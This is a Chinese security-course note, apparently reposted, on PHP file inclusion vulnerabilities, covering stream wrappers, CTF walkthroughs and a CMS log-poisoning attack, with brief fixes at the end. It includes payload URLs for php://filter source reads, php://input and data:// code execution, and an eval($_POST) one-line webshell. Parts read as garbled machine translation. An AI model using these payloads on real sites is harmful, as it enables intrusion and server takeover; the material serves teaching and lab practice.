php 文件操作-【小迪安全】Day31web漏洞-文件操作文件包含漏洞全解决方案

2023-08-26 0 7,305 百度已收录

ftp:// — 访问 FTP(s) URL

php:// - 访问各个 I/O 流(强调)

zlib:// — 压缩流

数据:// — 数据 (RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP 存档

ssh2:// — 安全外壳 2

rar:// — RAR

ogg:// — 音频流

Expect:// — 处理交互式流

#各种合约的条件与技巧

#标准输入流和输出流的原理:

----存储(按顺序递减):外部存储-->内存-->缓存

----读取速率(依次递减):缓存-->内存-->外存

---- 对于显存和外存的理解,我们可以简单地将其理解为一个容器,即外存是一个容器,内存是另一个容器。

----将具体的输入和输出称为流量,就像连接两个容器的水管。 从外存读取到显存的数据称为输入流,从显存写入外存的数据称为输出流。

---- 流是一个非常形象的概念。 当程序需要读取数据时,会打开一个通向数据源的流。 该数据源可以是文件、内存或网络连接。 类似地,当程序需要写入数据时,它会打开一个到目的地的流。

3、Php合约读取1.txt文件的源码(注意:PHP合约只能在PHP脚本中使用)

php 文件操作-【小迪安全】Day31web漏洞-文件操作文件包含漏洞全解决方案

:8888/test.php?filename1=php://filter/read=convert.base64-encode/resource=1.txt

---原理:在文件输入之前进行过滤php 文件操作,读取过滤器中的内容,其中resource是要过滤的数据流。

---base64加密原因:有时由于编码形式不同导致读取出现乱码。 这里加密后就不会出现乱码了

#解密

4. 执行PHP格式的文件

---- :8888/test.php?filename1=php://输入

----post提交数据:

----原理:php://input可以读取未处理的POST数据。 它对视频内存的压力比 $HTTP_RAW_POST_DATA 更​​小,并且不需要特殊的 php.ini 设置。 php://input 不能用于 enctype=multipart/form-data

5、在Php合约中写一句侧门代码

---- :8888/test.php?filename1=php://输入

----post提交数据:

----原理:使用fopen打开或创建shell.php文件,使用fputs将字符串''写入shell.php文件中

---- 服务器文件包含在脚本路径下找到的shell.php脚本

6.文件合约读取文件内容(适用于所有脚本)

:8888/test.php?filename1=file://C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/1.txt

---这里的txt文件实际上是以PHP脚本格式执行的

---条件:文件合约的使用需要使用完整路径,依赖之前的信息收集

7.执行指定PHP脚本代码的数据契约

---条件:allow_url_fopen和allow_url_include打开

:8888/test.php?filename1=data://text/plain,

八、总结

---- 伪合约常用于文件包含漏洞。

----在php中,同样可以导致文件被包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile。

----include函数:可以放在PHP脚本的任意位置,一般在流程控制的处理部分。 当PHP脚本执行到include指定的文件时,就会被包含并执行。 PHP 第二次遇到同一个文件时仍然会重新解释它。

----require函数:一般放在PHP脚本的前面,PHP在执行之前,会先读取require指定的文件,包含并尝试执行导入的脚本文件。 require的工作方式是为了提高PHP的执行效率。 在同一网页中解释一次后,不再解释第二次。

----include_once 和 require_once 函数:分别与 require/include 功能相同,不同的是它们执行时会先检查目标内容之前是否导出过,如果导出过则不会重新引入其相同的内容。

----hightfile 函数:highlight_file(filename, return) —— 文件名:必填。 要突出显示的 PHP 文件的路径。 返回:可选。 如果为 true,则此函数返回突出显示的代码。 此函数使用 PHP 语法突出显示中定义的颜色输出或返回 filename 中包含的代码的语法突出显示版本。

----show_source函数:该函数是highlight_file函数的别称。

----file_get_content函数:将整个文件读入字符串。 与 file() 相同,不同之处在于 file_get_contents() 将文件读取到字符串中。

----file() 函数:将整个文件读入一个字段。 与 file_get_contents() 类似,不同之处在于 file() 以链表形式返回文件。 数组中的每个元素都是文件中的对应行,包括换行符。 失败时返回 false。

CTF-南邮大学,i春秋百度杯真题-白盒

1.进入南油岭

---这里的URL带有文件传输参数,可以测试文件包含/下载漏洞。 真实环境下,可以使用扫描工具进行扫描(文件下载漏洞)。 尝试更改文件的参数名,发现显示不正常,说明参数确实是通过文件传递的。并且可以执行PHP文件,大部分都是PHP脚本搭建的网站。

---直接访问show.php文件(显然存在文件包含漏洞)

php 文件操作-【小迪安全】Day31web漏洞-文件操作文件包含漏洞全解决方案

---数据包查看环境(这里只找到中间件nginx和php脚本)

---案例判定操作系统(发现为Linux)

2.订单执行的伪合约

---测试php命令(这里执行起来比较困难,查看php伪合约的要求:allow_url_include参数必须开启,这里可以不开启,这里可以实现php伪合约的过滤读取-合同)

---读取当前路径下的index.php文件(如果读取成功则后续猜测成立)

---解密(获取flag)

3.进入i春秋射击场

---如果传递的参数路径则包含该参数,否则执行phpinfo

---isset()函数用于测量变量是否已设置且不为NULL

---访问当前目录下的phpinfo文件(验证码分析)

---案例判断操作系统(这里是linux系统)

---通过文件包含漏洞读取index.php文件

4.订单执行的伪合约

---使用 php://input()

---读取dle345aae.php文件

--- 源代码查看

---php过滤加密读取

---解密

CMS程序文件包含帮助黑盒

1.进入拍摄范围

2. 发现漏洞

---1. 漏洞扫描工具 2.CMS公开漏洞 3.手动查看参数及功能点

---先使用目录工具(铸剑)扫描一下(有参数传递的地方可能有漏洞)

--- 这里可能存在一些漏洞:/index.php?s=Admin/Login

---发现这里是CMS

---在线搜索漏洞

---后门代码的原因是{}:文件中包含要执行的PHP脚本,而传统是告诉笔记本用PHP脚本来执行,所以这里不需要写

---这个漏洞被别人的代码审计了,所以这里的目录工具扫描的好处不是很大

3. 执行漏洞

----访问包含URL的文件(:6677/index.php?s=)

----包含日志文件(s=my/show/id/路径下,没有sidedoor.html文件,这条信息会被写入日志中,可以看出这里的文件包含了限制设置(添加html后缀))

----写入侧门({~eval($_POST[x])})

---服务器发现日志产生(日志以时间命名)

---访问漏洞/index.php?s=my/show/id/..templogs21_11_27.log

---这里的路径有点奇怪,我觉得该文件包含了网站根目录下的文件索引,直接s=templogs21_11_27.log或者templogs21_11_27.log就可以了( emmmm都报错,不知道为什么)

---尝试使用php伪合约(还是失败,我这里启用了allow_url_include,这里是本地文件,不得不说CMS真香)

4.错误修复

---传递参数,过滤并检查参数是否有变种

---尽量不传参数php 文件操作,把参数写死(固定文件)

---传递参数后,修复文件名的后缀(有绕过的可能)

---WAF产品

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php 文件操作-【小迪安全】Day31web漏洞-文件操作文件包含漏洞全解决方案 https://www.wkzy.net/game/151707.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务